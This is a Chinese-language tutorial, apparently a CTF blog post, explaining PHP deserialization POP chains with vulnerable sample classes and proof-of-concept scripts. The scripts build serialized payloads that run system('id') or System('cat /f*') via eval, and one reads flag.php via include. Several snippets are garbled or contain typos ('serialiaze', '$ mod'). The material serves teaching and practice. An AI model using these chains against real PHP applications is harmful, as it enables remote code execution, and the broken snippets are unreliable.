目录
一、什么是POP
二、成员属性赋值对象
例题:
方法一
方法二
三、魔术方法的触发规则
例题:
四、POC的编写
例题1:
例题2 [NISACTF 2022]babyserialize
今日总结:
一、什么是POP
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(property oriented programming)。
php反序列化:PHP反序列化_在线反序列化-CSDN博客
pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.
二、成员属性赋值对象
例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test; //$test为私有属性public function __construct(){$this->test = new normal(); 调用魔术方法__construct,test = new normal()}public function __destruct(){$this->test->action(); //__destruct()从$test调用action()}
}
class normal {public function action(){echo "please attack me";}
}
class evil {var $test2;public function action(){eval($this->test2); //漏洞点,利用eval()函数来执行代码,调用test2}
}
unserialize($_GET['test']);
?>
分析代码可得:
1、利用反序列化触发__destruct()从$test中调用action()
2、正常情况下我们会new index(),但实例化触发__construct()导致new normal()
3、new normal()会导致__destruct()从$test中调用的action()是normal类中的,而我们要的是evil类中的action(),所以给$test赋值为对象new evil()
方法一
实例化index(),直接触发__construct的魔术方法
<?php
class index {private $test; public function __construct(){$this->test = new evil();}// public function __destruct(){// $this->test->action(); }
}
// class normal {
// public function action(){
// echo "please attack me";}
}
class evil {var $test2 = "system('id');";
}
$a=new index();
echo serialize($a);
?>
方法二
直接调用属性test2
<?php
class index {var $test;
}
class evil {var $test2;
}
$a= new evil();
$a ->test2="system('id');";
$b= new index();
$b ->test=$a;
echo serialize($b);
?>
三、魔术方法的触发规则
魔术方法触发前提:魔术方法所在类(或对象)被调用
例题:
<?php
class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo $this->source;}
}
class sec {var $benben;public function __toString(){echo "toString is here!!";}
}
$b = $_GET['benben'];
unserialize($b);
?>
目标:显示wakeup is here!!toString is here!!
解题:
<?php
class fast {public $source;
// public function __wakeup(){
// echo "wakeup is here!!";
// echo $this->source;
// }
}
class sec {var $benben;
// public function __toString(){
// echo "toString is here!!";
// }
}
$a=new fast(); //实例化fast
$b=new sec(); //实例化sec
$a->source=$b; //将source赋值为$b
echo serialize($a); //在触发__wakeup()后执行echo从而触发__toString()
?>
四、POC的编写
poc(proof of concept)中文译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。
编写一段不完整的程序,以获取所需要的序列化字符串。
例题1:
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {private $var;public function append($value){include($value);echo $flag; //目标:触发echo,调用$flag}public function __invoke(){ //__invoke()触发时机:把对象当成函数$this->append($this->var); //触发__invoke()调用append,并使$var=flag.php}
}class Show{public $source;public $str;public function __toString(){ return $this->str->source;}public function __wakeup(){echo $this->source;}
}class Test{public $p;public function __construct(){ //无用$this->p = array();}public function __get($key){$function = $this->p;return $function(); //可能把对象当成函数使用的地方}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
?>
目标:触发echo调用$flag
解决此题之前,需要知道各个魔术方法的触发条件
触发__invoke():把对象当成函数使用;
触发Test中的__get():调用的成员属性不存在;
触发Test中的__toString():把对象当成字符串调用;
触发__wakeup():反序列化unserialize之前
1.知道此题的魔术方法的触发条件之后,然后我们来分析,主要使用到了反推法,根据代码可得,要echo $flag,就要使用到append这个函数,而触发这个函数需要触发__invoke这个魔术方法
2.找到把对象当成函数使用的地方,return $function(),$function被赋值为p,又要触发__invoke,所以p需要赋值为 new Modifier();这里需要触发__get这个魔术方法,找到Test中它不存在source这个成员变量
3.这里就注意到Show这个类里面的东西,如果调用__wakeup()里的source触发echo,触发echo则触发__toString(),__toString()里面会调用$str,$str再调用它里面的source,此时给$str赋值为new Test(),Test中不含有source触发 __get()
4.调用了__wakeup(),就需要将$source赋值为new Show(),反序列化$source触发wakeup()
分析完成,编写poc
<?php
//flag is in flag.php
class Modifier {private $var='flag.php';// public function append($value)// {// include($value);// echo $flag; // }// public function __invoke(){ // $this->append($this->var); // }
}class Show{public $source;public $str;// public function __toString(){ // return $this->str->source;// }// public function __wakeup(){// echo $this->source;// }
}class Test{public $p;// public function __construct(){ // $this->p = array();}// public function __get($key){// $function = $this->p;// return $function();
// }
}
$mod=new Modifier();
$show=new Show();
$test=new Test();
$test ->p=$ mod;
$show ->str=$test;
$show ->source=$show;
echo serialiaze($show);
?>
例题2 [NISACTF 2022]babyserialize
相关的魔术方法:
名称 | 触发条件 |
---|---|
__wakeup() | 执行unserialize()时,先会调用这个函数 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__set() | 对私有成员属性进行设置值时自动触发 |
__toString() | __toString() |
__invoke() | 当尝试将对象调用为函数时触发 |
分析题目可得
(1)eval反推到__invoke
这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中。
__invoke魔术方法是对象被当做函数进行调用的时候所触发
这里就反推看哪里用到了类似$a()这种的。
(2)__invoke反推到__toString
在Ilovetxw类的toString方法中,返回了return $bb;
__ToString方法,是对象被当做字符串的时候进行自动调用
(3)__toString反推到__set
在four的__set中,调用了strolower方法。如果不清楚,可以具体看下文档。
(4)从__set反推到__call
__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推到TianXiWei中的__wakeup
构造POC链
<?php
class NISA{public $fun;public $txw4ever;// public function __wakeup()// {// if($this->fun=="show_me_flag"){// hint();// }}// function __call($from,$val){// $this->fun=$val[0];// }// public function __toString()
// {// echo $this->fun;
// return " ";
// }
// public function __invoke()
// {// checkcheck($this->txw4ever);
// @eval($this->txw4ever);// }
//}class TianXiWei{public $ext;public $x;// public function __wakeup()// {// $this->ext->nisa($this->x);// }
}class Ilovetxw{public $huang;public $su;// public function __call($fun1,$arg){// $this->huang->fun=$arg[0];// }// public function __toString(){// $bb = $this->su;// return $bb();// }
}class four{public $a;private $fun;// public function __set($name, $value)// {// $this->$name=$value;// if ($this->fun = "sixsixsix"){// strtolower($this->a);// }// }
}
$e = new NISA();
$e -> txw4ever = "System('cat /f*');";
$d = new Ilovetxw();
$d -> su = $e;
$c = new four();
$c -> a = $d;
$b = new Ilovetxw();
$b -> huang = $c;
$a = new TianXiWei();
$a -> ext = $b;echo urlencode(serialize($a));
?>
传参,得到flag
今日总结:
1.构造pop链,需要先分析代码
2.找到pop链的开端,再使用反推法,一个一个魔术方法的绕过
3.能够理解魔术方法的触发条件